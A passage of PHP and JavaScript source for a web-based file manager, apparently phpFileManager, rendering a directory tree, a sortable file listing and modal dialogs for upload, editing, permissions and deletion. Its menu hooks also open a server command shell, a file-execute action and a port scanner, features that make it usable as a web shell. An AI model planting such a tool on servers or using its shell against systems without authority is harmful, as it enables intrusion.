class=\"btn\" onclick=\"refresh_tree()\" value=\"".et('Refresh')."\"><i class=\"fa fa-refresh\"></i> ".et('Refresh')."</button>"; if ($auth_pass != md5('')) echo " <button type=\"button\" style=\"margin-bottom: 5px;\" class=\"btn \" onclick=\"logout()\" value=\"".et('Leave')."\"><i class=\"fa fa-file-go\"></i> ".et('Leave')."</button>"; echo "</form>"; echo "</td></tr>"; echo "<tr valign=top><td>"; ?> <script type="text/javascript" src="<?php echo $fm_path_info['basename']; ?>?action=99&filename=jquery-1.11.1.min.js"></script> <script type="text/javascript" src="<?php echo $fm_path_info['basename']; ?>?action=99&filename=jstree.min.js"></script> <link rel="stylesheet" type="text/css" href="<?php echo $fm_path_info['basename']; ?>?action=99&filename=jstree.style.min.css" media="screen" /> <style> #tree { float:left; overflow:auto; padding:0; margin-bottom: 20px;} #tree .folder { background:url('<?php echo $fm_path_info['basename']; ?>?action=99&filename=file_sprite.png') right bottom no-repeat; } #tree .file { background:url('<?php echo $fm_path_info['basename']; ?>?action=99&filename=file_sprite.png') 0 0 no-repeat; } #tree .file-pdf { background-position: -32px 0 } #tree .file-as { background-position: -36px 0 } #tree .file-c { background-position: -72px -0px } #tree .file-iso { background-position: -108px -0px } #tree .file-htm, #tree .file-html, #tree .file-xml, #tree .file-xsl { background-position: -126px -0px } #tree .file-cf { background-position: -162px -0px } #tree .file-cpp { background-position: -216px -0px } #tree .file-cs { background-position: -236px -0px } #tree .file-sql { background-position: -272px -0px } #tree .file-xls, #tree .file-xlsx { background-position: -362px -0px } #tree .file-h { background-position: -488px -0px } #tree .file-crt, #tree .file-pem, #tree .file-cer { background-position: -452px -18px } #tree .file-php { background-position: -108px -18px } #tree .file-jpg, #tree .file-jpeg, #tree .file-png, #tree .file-gif, #tree .file-bmp { background-position: -126px -18px } #tree .file-ppt, #tree .file-pptx { background-position: -144px -18px } #tree .file-rb { background-position: -180px -18px } #tree .file-text, #tree .file-txt, #tree .file-md, #tree .file-log, #tree .file-htaccess { background-position: -254px -18px } #tree .file-doc, #tree .file-docx { background-position: -362px -18px } #tree .file-zip, #tree .file-gz, #tree .file-tar, #tree .file-rar { background-position: -416px -18px } #tree .file-js { background-position: -434px -18px } #tree .file-css { background-position: -144px -0px } #tree .file-fla { background-position: -398px -0px } </style> <div id="container" role="main"> <div id="tree"></div> </div> <?php $tree_auto_load_nodes = substr($fm_current_dir,strlen($fm_current_root)); $tree_auto_load_nodes = trim($tree_auto_load_nodes,DIRECTORY_SEPARATOR); $tree_auto_load_nodes = explode(DIRECTORY_SEPARATOR,$tree_auto_load_nodes); ?> <script> var tree_loaded = false; var tree_auto_load_nodes = <?php echo json_encode($tree_auto_load_nodes); ?>; var tree_auto_load_node_curr = 0; //console.log(tree_auto_load_nodes); function highlight_broken_links(){ $("#tree a:contains('(L*)')").css({'color':'red'}); var str = $("#tree a:contains('(L*)')").html(); $("#tree a:contains('(L*)')").html(String(str).replace('(L*)','(L)')); } function tree_auto_load(){ if (tree_auto_load_node_curr > tree_auto_load_nodes.length) return; var node_id = '/'+tree_auto_load_nodes.slice(0, tree_auto_load_node_curr+1).join('/'); var node = $('#tree').find("[id='"+node_id+"']:eq(0)"); tree_auto_load_node_curr++; //console.log('tree_auto_load() '+tree_auto_load_node_curr); //console.log('node_id: '+node_id); //console.log(node); if (tree_auto_load_node_curr == tree_auto_load_nodes.length) { if (node.length) { $("#tree").jstree(true).open_node(node, function(){ highlight_broken_links(); $('#tree').jstree(true).select_node(node,true); tree_loaded = true; }, false); } else { tree_loaded = true; } } else { if (node.length) { $("#tree").jstree(true).open_node(node, tree_auto_load, false); } else { tree_auto_load(); } } highlight_broken_links(); } $(function () { $('#tree') .jstree({ 'core' : { 'data' : { 'url' : '?frame=2&fm_current_root=<?php echo rawurlencode($fm_current_root) ?>&operation=get_node', 'data' : function (node) { return { 'id' : node.id }; } }, 'check_callback' : function(o, n, p, i, m) { if(m && m.dnd && m.pos !== 'i') { return false; } if(o === "move_node" || o === "copy_node") { if(this.get_node(n).parent === this.get_node(p).id) { return false; } } return true; }, 'force_text' : true, 'themes' : { 'responsive' : false, 'variant' : 'small', 'stripes' : false }, 'expand_selected_onload' : true }, 'sort' : function(a, b) { return this.get_type(a) === this.get_type(b) ? (this.get_text(a) > this.get_text(b) ? 1 : -1) : (this.get_type(a) >= this.get_type(b) ? 1 : -1); }, 'types' : { 'default' : { 'icon' : 'folder' }, 'file' : { 'valid_children' : [], 'icon' : 'file' }, 'broken_link': { 'icon' : 'folder' } }, 'unique' : { 'duplicate' : function (name, counter) { return name + ' ' + counter; } }, 'massload' : { 'url' : '?frame=2&fm_current_root=<?php echo rawurlencode($fm_current_root) ?>&operation=get_node', 'data' : function (nodes) { return { 'ids' : nodes.join(',') }; } }, 'plugins' : ['sort','types','unique'] // 'state', 'massload' }) //.on('changed.jstree', function (e, data) { .on('select_node.jstree', function (e, data) { if (!tree_loaded) return; if (data && data.selected && data.selected.length) { //console.log('select_node.jstree()'); var path = String(data.selected[0]); path = path.replace(/\//g,'<?php echo addslashes(DIRECTORY_SEPARATOR); ?>'); go_tree('<?php echo addslashes(rtrim($fm_current_root,DIRECTORY_SEPARATOR)); ?>'+path); } }) .on('loaded.jstree', function (e, data) { //console.log('loaded.jstree()'); //console.log(e); //console.log(data); tree_auto_load(); }); //$('#tree').jstree(true).clear_state(); }); </script> <?php echo "</td></tr>"; echo "</table>\n"; echo "</body>\n</html>"; } function is_binary($file){ //https://stackoverflow.com/questions/1765311/how-to-view-files-in-binary-from-bash //http://php.net/manual/pt_BR/function.bin2hex.php if (!is_file($file)) return false; $mime = mime_content_type($file); fb_log($file,$mime); if (strpos($mime,'text') === false && strpos($mime,'x-empty') === false) return true; return false; } function is_textfile($file){ if (!is_file($file)) return false; $mime = mime_content_type($file); fb_log($file,$mime); if (strpos($mime,'text') === 0 || strpos($mime,'x-empty') !== false) return true; return false; } function dir_list_form() { global $script_init_time,$fm_current_root,$fm_current_dir,$quota_mb,$resolve_ids,$order_dir_list_by,$is_windows,$cmd_name,$ip,$lan_ip,$fm_path_info,$version,$date_format; clearstatcache(); $out = "<style> #modalIframeWrapper { background: #FFF; border: 1px solid #ccc; margin: -2px; position: absolute; top: 22px; left: 5px; width: calc(100% - 10px); height: calc(100% - 50px); transform: translate(0,22px); z-index: 32000; display: none; } #modalIframe { display: block; background: #FFF; border: 1px solid #ccc; width: 100%; height: 100%; overflow-y: scroll; overflow-x: auto; } #modalIframeWrapperTitle { padding-left: 5px; } </style> <div id=\"modalIframeWrapper\"> <table border=0 cellspacing=1 cellpadding=4 width=\"100%\" height=\"100%\"> <tr style=\"height:20px;\"> <td id=\"modalIframeWrapperTitle\" style=\"font-weight:bold;\">Title</td> <td align=right width=10><button type=\"button\" class=\"btn\" onclick=\"closeModalWindow()\" value=\"".et('Close')."\"><i class=\"fa fa-file-go\"></i> ".et('Close')."</button></td> </tr> <tr style=\"height:100%\"> <td colspan=2 style=\"padding-top:0;\"><iframe id=\"modalIframe\" src=\"\" scrolling=\"yes\" frameborder=\"0\"></iframe></td> </tr> </table> </div> <script language=\"Javascript\" type=\"text/javascript\"> <!-- var modalWindowReloadOnClose = false; var modalWindowCurrSrc = ''; function toogleModalWindow(url,title,reloadOnClose){ if (document.getElementById(\"modalIframeWrapper\").style.display == '' || modalWindowCurrSrc != url){ openModalWindow(url,title,reloadOnClose); } else { modalWindowReloadOnClose = false; closeModalWindow(); } } function openModalWindow(url,title,reloadOnClose){ cancel_copy_move(); if (typeof(title) == 'undefined') title = ''; if (typeof(reloadOnClose) != 'undefined') modalWindowReloadOnClose = reloadOnClose; if (modalWindowCurrSrc != url) { document.getElementById(\"modalIframe\").src = url; } modalWindowCurrSrc = url; document.getElementById(\"modalIframeWrapper\").style.display = 'block'; document.getElementById(\"modalIframeWrapperTitle\").innerHTML = title; document.getElementById(\"modalIframe\").focus(); document.body.style.overflow = 'hidden'; window.scrollTo(0,0); } function closeModalWindow(){ document.getElementById(\"modalIframeWrapper\").style.display = ''; document.body.style.overflow = 'auto'; if (modalWindowReloadOnClose) { window.parent.frame3.location.href='".$fm_path_info['basename']."?frame=3&fm_current_dir=".rawurlencode($fm_current_dir)."'; } } --> </script>"; $io_error = true; if ($opdir = @opendir(fs_encode($fm_current_dir))) { $io_error = false; $has_files = false; $entry_count = 0; $total_size = 0; $entry_list = array(); while (($entry = readdir($opdir)) !== false) { if ($entry == "." || $entry == "..") continue; $entry_list[$entry_count]['name'] = $entry; $entry_list[$entry_count]['namet'] = $entry; $entry_list[$entry_count]['size'] = 0; $entry_list[$entry_count]['sizet'] = 0; $entry_list[$entry_count]['type'] = "none"; $entry_list[$entry_count]['date'] = date("Ymd", filemtime($fm_current_dir.$entry)); $entry_list[$entry_count]['time'] = date("His", filemtime($fm_current_dir.$entry)); $entry_list[$entry_count]['datet'] = date($date_format, filemtime($fm_current_dir.$entry)); $entry_list[$entry_count]['p'] = substr(sprintf('%o', fileperms($fm_current_dir.$entry)), -4); $entry_list[$entry_count]['u'] = fileowner($fm_current_dir.$entry); $entry_list[$entry_count]['g'] = filegroup($fm_current_dir.$entry); if ($resolve_ids){ $entry_list[$entry_count]['p'] = show_perms(fileperms($fm_current_dir.$entry)); if (!$is_windows){ $entry_list[$entry_count]['u'] = get_user_name(fileowner($fm_current_dir.$entry)); $entry_list[$entry_count]['g'] = get_group_name(filegroup($fm_current_dir.$entry)); } } if (is_link($fm_current_dir.$entry)){ $entry_list[$entry_count]['type'] = "link"; $entry_list[$entry_count]['target'] = readlink($fm_current_dir.$entry); $entry_list[$entry_count]['target_absolute_path'] = readlink_absolute_path($fm_current_dir.$entry); if (is_dir($entry_list[$entry_count]['target_absolute_path'])) { $entry_list[$entry_count]['type'] = "dir"; $dirsize = phpfm_get_total_size($fm_current_dir.$entry); $entry_list[$entry_count]['size'] = intval($dirsize); if ($dirsize === false) { $sizet = et('GetSize').'..'; } elseif ($dirsize === 'error'){ $sizet = '<span title="error: too much recursion">'.et('Error').' ↻</span>'; } else { $sizet = format_size($entry_list[$entry_count]['size']).' ↻'; } $entry_list[$entry_count]['sizet'] = "<a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:dir_list_update_total_size('".addslashes($entry)."','dir".$entry_count."size')\"><span id=\"dir".$entry_count."size\">".$sizet."</span></a>"; } elseif (is_file($entry_list[$entry_count]['target_absolute_path'])) { $entry_list[$entry_count]['type'] = "file"; $entry_list[$entry_count]['size'] = phpfm_filesize($fm_current_dir.$entry); $entry_list[$entry_count]['sizet'] = format_size($entry_list[$entry_count]['size']); $has_files = true; } else { $entry_list[$entry_count]['type'] = "broken_link"; $entry_list[$entry_count]['date'] = ''; $entry_list[$entry_count]['time'] = ''; $entry_list[$entry_count]['datet'] = ''; $entry_list[$entry_count]['size'] = 0; $entry_list[$entry_count]['sizet'] = ''; $entry_list[$entry_count]['p'] = ''; } $entry_list[$entry_count]['linkt'] = '<span style="float:right; margin-top:3px; font-weight:bold;" title="symlink to '.$entry_list[$entry_count]['target'].'">(L)</span>'; $ext = lowercase(strrchr($entry,".")); if (strstr($ext,".")){ $entry_list[$entry_count]['ext'] = $ext; $entry_list[$entry_count]['extt'] = $ext; } else { $entry_list[$entry_count]['ext'] = ""; $entry_list[$entry_count]['extt'] = " "; } } elseif (is_file($fm_current_dir.$entry)){ $ext = lowercase(strrchr($entry,".")); $entry_list[$entry_count]['type'] = "file"; $entry_list[$entry_count]['size'] = phpfm_filesize($fm_current_dir.$entry); $entry_list[$entry_count]['sizet'] = format_size($entry_list[$entry_count]['size']); if (strstr($ext,".")){ $entry_list[$entry_count]['ext'] = $ext; $entry_list[$entry_count]['extt'] = $ext; } else { $entry_list[$entry_count]['ext'] = ""; $entry_list[$entry_count]['extt'] = " "; } $has_files = true; } elseif (is_dir($fm_current_dir.$entry)) { $entry_list[$entry_count]['type'] = "dir"; $dirsize = phpfm_get_total_size($fm_current_dir.$entry); $entry_list[$entry_count]['size'] = intval($dirsize); if ($dirsize === false){ $sizet = et('GetSize').'..'; } elseif ($dirsize === 'error') { $sizet = '<span title="error: too much recursion">'.et('Error').' ↻</span>'; } else { $sizet = format_size($entry_list[$entry_count]['size']).' ↻'; } $entry_list[$entry_count]['sizet'] = "<a onmousedown=\"if(event)event.stopPropagation();\" href=\"javascript:dir_list_update_total_size('".addslashes($entry)."','dir".$entry_count."size')\"><span id=\"dir".$entry_count."size\">".$sizet."</span></a>"; } $total_size += $entry_list[$entry_count]['size']; $entry_count++; } @closedir($opdir); } if($entry_count){ $or1="1A"; $or2="2D"; $or3="3A"; $or4="4A"; $or5="5A"; $or6="6D"; $or7="7D"; switch($order_dir_list_by){ case "1A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break; case "1D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break; case "2A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break; case "2D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break; case "3A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break; case "3D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break; case "4A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break; case "4D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break; case "5A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break; case "5D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break; case "6A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break; case "6D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break; case "7A": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break; case "7D": $entry_list = array_csort($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break; } } $out .= " <script language=\"Javascript\" type=\"text/javascript\"> <!-- function go_dir_list(arg) { document.location.href='".addslashes($fm_path_info['basename'])."?frame=3&fm_current_dir=".rawurlencode($fm_current_dir)."'+encodeURIComponent(arg)+'".addslashes(DIRECTORY_SEPARATOR)."'; } function resolve_ids() { document.location.href='".addslashes($fm_path_info['basename'])."?frame=3&set_resolve_ids=".($resolve_ids?'0':'1')."&fm_current_dir=".rawurlencode($fm_current_dir)."'; } var entry_list = new Array(); // Custom object constructor function entry(name, type, perms, size, selected){ this.name = name; this.type = type; this.perms = perms; this.size = size; this.selected = false; } // Declare entry_list for selection procedures"; foreach ($entry_list as $i=>$data){ $out .= "\n\tentry_list['entry$i'] = new entry('".addslashes($data['name'])."', '".$data['type']."', '".$data['p']."', '".$data['size']."', false);"; } $out .= " function dir_list_update_total_size(dirname,id){ var el = document.getElementById(id); if (el) { el.innerHTML = '<div class=\"icon_loading\"></div>'; } $.ajax({ type: 'GET', url: '".$fm_path_info['basename']."?action=14&dirname='+encodeURIComponent(dirname)+'&fm_current_dir=".rawurlencode($fm_current_dir)."', dataType: 'text', crossDomain: false, success: function (data){ dir_list_update_total_size_callback(dirname,id,data); }, error: function (err){ console.log(err); } }); } function dir_list_update_total_size_callback(dirname,id,dirsize){ for(var x=0;x<".(integer)count($entry_list).";x++){ if(entry_list['entry'+x].name == dirname){ entry_list['entry'+x].size = parseInt(dirsize); break; } } var el = document.getElementById(id); if (el) { if (dirsize == 'error') el.innerHTML = '<span title=\"error: too much recursion\">".et('Error')." ↻</span>'; else el.innerHTML = format_size(dirsize)+' ↻'; } update_footer_status(); } // Select/Unselect Rows OnClick/OnMouseOver var lastRows = new Array(null,null); function selectEntry(Row, Action){ if (multipleSelection){ // Avoid repeated onmouseover events from same Row ( cell transition ) if (Row != lastRows[0]){ if (Action == 'over') { if (entry_list[Row.id].selected){ if (unselect(entry_list[Row.id])) { Row.className = 'entryUnselected'; } // Change the last Row when you change the movement orientation if (lastRows[0] != null && lastRows[1] != null){ var LastRowID = lastRows[0].id; if (Row.id == lastRows[1].id){ if (unselect(entry_list[LastRowID])) { lastRows[0].className = 'entryUnselected'; } } } } else { if (select(entry_list[Row.id])){ Row.className = 'entrySelected'; } // Change the last Row when you change the movement orientation if (lastRows[0] != null && lastRows[1] != null){ var LastRowID = lastRows[0].id; if (Row.id == lastRows[1].id){ if (select(entry_list[LastRowID])) { lastRows[0].className = 'entrySelected'; } } } } lastRows[1] = lastRows[0]; lastRows[0] = Row; } } } else { if (Action == 'click') { var newClassName = null; if (entry_list[Row.id].selected){ if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected'; } else { if (select(entry_list[Row.id])) newClassName = 'entrySelected'; } if (newClassName) { lastRows[0] = lastRows[1] = Row; Row.className = newClassName; } } } return true; } // Disable text selection and bind multiple selection flag var multipleSelection = false; if (is.ie) { document.onselectstart=new Function('return false'); document.onmousedown=switch_flag_on; document.onmouseup=switch_flag_off; // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure. window.onscroll=new Function('multipleSelection=false'); window.onresize=new Function('multipleSelection=false'); } else { if (document.layers) window.captureEvents(Event.MOUSEDOWN); if (document.layers) window.captureEvents(Event.MOUSEUP); window.onmousedown=switch_flag_on; window.onmouseup=switch_flag_off; } // Using same function and a ternary operator couses bug on double click function switch_flag_on(e) { if (is.ie){ multipleSelection = (event.button == 1); } else { multipleSelection = (e.which == 1); } return false; //var type = String(e.target.type); //return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1); } function switch_flag_off(e) { if (is.ie){ multipleSelection = (event.button != 1); } else { multipleSelection = (e.which != 1); } lastRows[0] = lastRows[1] = null; update_footer_selection_total_status(); return false; } var total_dirs = 0; var total_files = 0; var total_size = 0; var total_dirs_selected = 0; var total_files_selected = 0; var total_size_selected = 0; var last_entry_selected = ''; function select(Entry){ if(Entry.selected) return false; Entry.selected = true; last_entry_selected = Entry.name; document.form_action.chmod_arg.value = Entry.perms; update_footer_selection_total_status(); return true; } function unselect(Entry){ if (!Entry.selected) return false; Entry.selected = false; update_footer_selection_total_status(); return true; } function is_anything_selected(){ var selected_dir_list = new Array(); var selected_file_list = new Array(); for(var x=0;x<".(integer)count($entry_list).";x++){ if(entry_list['entry'+x].selected){ if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name); else selected_file_list.push(entry_list['entry'+x].name); } } document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>'); document.form_action.selected_file_list.value = selected_file_list.join('<|*|>'); return (total_dirs_selected>0 || total_files_selected>0); } function format_size(arg) { var resul = ''; if (arg>0){ var j = 0; var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb'); while (arg >= Math.pow(1024,j)) ++j; resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1]; } else resul = '0 bytes'; return resul; } function update_footer_status(){ update_footer_total_status(); update_footer_selection_total_status(); } function update_footer_total_status(){ total_size = 0; total_dirs = 0; total_files = 0; for(var x=0;x<".(integer)count($entry_list).";x++){ if(entry_list['entry'+x].type == 'dir'){ total_dirs++; } else { total_files++; } total_size += parseInt(entry_list['entry'+x].size); } var total_size_status = ''; if (total_dirs) { total_size_status += total_dirs+' ".et('Dir_s')."'; } if (total_files) { if (total_dirs) total_size_status += ' ".et('And')." '; total_size_status += total_files+' ".et('File_s')."'; } if (total_size_status != '') { if (total_size) total_size_status += ' = '+format_size(total_size); } var el = document.getElementById('total_size_status'); if (el) { el.innerHTML = '<span>'+total_size_status+'</span><br />'; if (total_size_status != '') el.style.display=''; else el.style.display='none'; } } function update_footer_selection_total_status(){ total_size_selected = 0; total_dirs_selected = 0; total_files_selected = 0; for(var x=0;x<".(integer)count($entry_list).";x++){ if(entry_list['entry'+x].selected){ if(entry_list['entry'+x].type == 'dir'){ total_dirs_selected++; } else { total_files_selected++; } total_size_selected += parseInt(entry_list['entry'+x].size); } } var selection_total_size_status = ''; if (total_dirs_selected) { selection_total_size_status += total_dirs_selected+' ".et('Dir_s')."'; } if (total_files_selected) { if (total_dirs_selected) selection_total_size_status += ' ".et('And')." '; selection_total_size_status += total_files_selected+' ".et('File_s')."'; } if (selection_total_size_status != '') { selection_total_size_status += ' ".et('Selected_s')."'; if (total_size_selected) selection_total_size_status += ' = '+format_size(total_size_selected); } var el = document.getElementById('selection_total_size_status'); if (el) { el.innerHTML = '<span>'+selection_total_size_status+'</span><br />'; if (selection_total_size_status != '') el.style.display=''; else el.style.display='none'; } window.status = selection_total_size_status; } // Select all/none/inverse function selectANI(Butt){ cancel_copy_move(); for(var x=0;x<". (integer)count($entry_list).";x++){ var Row = document.getElementById('entry'+x); var newClassName = null; switch (Butt.value){ case '".et('SelAll')."': if (select(entry_list[Row.id])) newClassName = 'entrySelected'; break; case '".et('SelNone')."': if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected'; break; case '".et('SelInverse')."': if (entry_list[Row.id].selected){ if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected'; } else { if (select(entry_list[Row.id])) newClassName = 'entrySelected'; } break; } if (newClassName) { Row.className = newClassName; } } if (Butt.value == '".et('SelAll')."'){ for(var i=0;i<2;i++){ document.getElementById('ANI'+i).innerHTML='<i class=\"fa fa-copy-o\"></i> " . et('SelNone') . "'; document.getElementById('ANI'+i).value='".et('SelNone')."'; } } else if (Butt.value == '".et('SelNone')."'){ for(var i=0;i<2;i++){ document.getElementById('ANI'+i).innerHTML='<i class=\"fa fa-copy-o\"></i> " . et('SelAll') . "'; document.getElementById('ANI'+i).value='".et('SelAll')."'; } } update_footer_selection_total_status(); return true; } function upload_form(){ toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=10&fm_current_dir=".rawurlencode($fm_current_dir)."','".et('Upload')."',true); } function edit_file_form(arg){ toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=7&fm_current_dir=".rawurlencode($fm_current_dir)."&filename='+encodeURIComponent(arg),'".et('Edit')." ".addslashes($fm_current_dir)."'+(arg)); } function config_form(){ toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=2','".et('Configurations')."'); } function server_info_form(arg){ toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=5','".et('ServerInfo')."'); } function shell_form(){ toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=9&fm_current_dir=".rawurlencode($fm_current_dir)."','".et('Shell')."',true); } function portscan_form(){ toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=12','".et('Portscan')."'); } function about_form(){ toogleModalWindow('//www.dulldusk.com/phpfm/?version=".$version."','".et('About')." - ".et("FileMan")." - ".et('Version')." ".$version."'); } function view_form(arg){ toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=4&fm_current_dir=".rawurlencode($fm_current_dir)."&filename='+encodeURIComponent(arg),'".et("View")." '+(arg)); } function download_entry(arg){ parent.frame1.location.href='".addslashes($fm_path_info['basename'])."?action=3&fm_current_dir=".rawurlencode($fm_current_dir)."&filename='+encodeURIComponent(arg); } function decompress_entry(arg){ if(confirm('".uppercase(et('Decompress'))." \\''+arg+'\\' ?')) { document.form_action.action.value = 72; document.form_action.cmd_arg.value = arg; document.form_action.submit(); } } function execute_entry(arg){ if(confirm('".et('ConfExec')." \\''+arg+'\\' ?')) { toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=11&fm_current_dir=".rawurlencode($fm_current_dir)."&filename='+encodeURIComponent(arg),'".et('Exec')." '+(arg)); } } function delete_entry(arg){ if(confirm('".uppercase(et('Rem'))." \\''+arg+'\\' ?')) document.location.href='".addslashes($fm_path_info['basename'])."?frame=3&action=8&cmd_arg='+encodeURIComponent(arg)+'&fm_current_dir=".rawurlencode($fm_current_dir)."'; } function rename_entry(arg){ var nome = ''; if (nome = prompt('".uppercase(et('Ren'))." \\''+arg+'\\' ".et('To')." ...',arg)) document.location.href='".addslashes($fm_path_info['basename'])."?frame=3&action=3&fm_current_dir=".rawurlencode($fm_current_dir)."&old_name='+encodeURIComponent(arg)+'&new_name='+encodeURIComponent(nome); } function set_dir_dest(arg){ document.form_action.dir_dest.value = arg; if (document.form_action.action.value.length > 0) { test(document.form_action.action.value); } else { alert('".et('JSError').".'); } } function sel_dir(arg){ document.form_action.action.value = arg; document.form_action.dir_dest.value=''; if (!is_anything_selected()) set_dir_list_warn('".et('NoSel')."...'); else { set_dir_list_warn('".et('SelDir')."...'); parent.frame2.set_flag(true); } } function set_dir_list_warn(arg){ var el = document.getElementById(\"dir_list_warn\"); if (el) { if (arg != '' && arg != false){ el.innerHTML = arg; el.style.display = ''; } else { el.style.display = 'none'; } } } function cancel_copy_move(){ document.form_action.action.value = 0; set_dir_list_warn(false); parent.frame2.set_flag(false); } function chmod_form(){ cancel_copy_move(); if (!is_anything_selected()) set_dir_list_warn('".et('NoSel')."...'); else { toogleModalWindow('".addslashes($fm_path_info['basename'])."?action=8&chmod_arg='+encodeURIComponent(document.form_action.chmod_arg.value),'".et('Perms')."'); document.form_action.dir_dest.value=''; document.form_action.chmod_arg.value=''; } } function set_chmod_arg(arg){ cancel_copy_move(); if (!is_anything_selected()) set_dir_list_warn('".et('NoSel')."...'); else { document.form_action.dir_dest.value=''; document.form_action.chmod_arg.value=arg; test(9); } } function test_action(){ if (document.form_action.action.value != 0) return true; else return false; } function test_prompt(arg){ cancel_copy_move(); var erro=''; var conf=''; if (arg == 1){ closeModalWindow(); document.form_action.cmd_arg.value = prompt('".et('TypeDir').".'); } else if (arg == 2){ closeModalWindow(); document.form_action.cmd_arg.value = prompt('".et('TypeArq').".'); } else if (arg == 71){ if (!is_anything_selected()) erro = '".et('NoSel')."...'; else { var zipname = ''; if (last_entry_selected != '') zipname = last_entry_selected+'.zip'; if (total_files_selected + total_dirs_selected == 1) document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."',zipname); else document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."'); } } if (erro!=''){ document.form_action.cmd_arg.focus(); set_dir_list_warn(erro); } else if(document.form_action.cmd_arg.value.length>0) { document.form_action.action.value = arg; document.form_action.submit(); } } function strstr(haystack,needle){ var index = haystack.indexOf(needle); return (index==-1)?false:index; } function valid_dest(dest,orig){ return (strstr(dest,orig)==false)?true:false; } function test(arg){ cancel_copy_move(); document.form_action.target='_self'; var erro=''; var conf=''; if (arg == 4){ if (!is_anything_selected()) erro = '".et('NoSel')."...'; conf = '".et('RemSel')." ?\\n'; } else if (arg == 5){ if (!is_anything_selected()) erro = '".et('NoSel')."...'; else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".'; else if(document.form_action.dir_dest.value == document.form_action.fm_current_dir.value) erro = '".et('DestEqOrig').".'; else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.fm_current_dir.value)) erro = '".et('InvalidDest').".'; conf = '".et('CopyTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n'; } else if (arg == 6){ if (!is_anything_selected()) erro = '".et('NoSel')."...'; else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".'; else if(document.form_action.dir_dest.value == document.form_action.fm_current_dir.value) erro = '".et('DestEqOrig').".'; else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.fm_current_dir.value)) erro = '".et('InvalidDest').".'; conf = '".et('MoveTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n'; } else if (arg == 121 || arg == 122){ if (!is_anything_selected()) erro = '".et('NoSel')."...'; else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".'; else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.fm_current_dir.value)) erro = '".et('InvalidDest').".'; var total_selected = 0; var entry_name = ''; conf = ''; for(var x=0;x<".(integer)count($entry_list).";x++){ if(entry_list['entry'+x].selected){ total_selected++; if (entry_name == '') entry_name = entry_list['entry'+x].name; conf += document.form_action.dir_dest.value+entry_list['entry'+x].name+' 🡺 ".addslashes($fm_current_dir)."'+entry_list['entry'+x].name+'\\n'; } } if (total_selected == 1) { var link_name = prompt('Enter the Symlink name.',entry_name); if (link_name === null) { cancel_copy_move(); return; } link_name = String(link_name).trim(); if (link_name.length == 0) { cancel_copy_move(); return; } document.form_action.cmd_arg.value = link_name; conf = document.form_action.dir_dest.value+link_name+' 🡺 ".addslashes($fm_current_dir)."'+entry_name+'\\n'; if (arg == 121) conf = 'Create Symlink ?\\n'+conf; else conf = 'Create Hardlink ?\\n'+conf; } else { document.form_action.cmd_arg.value = ''; if (arg == 121) conf = 'Create Symlinks ?\\n'+conf; else conf = 'Create 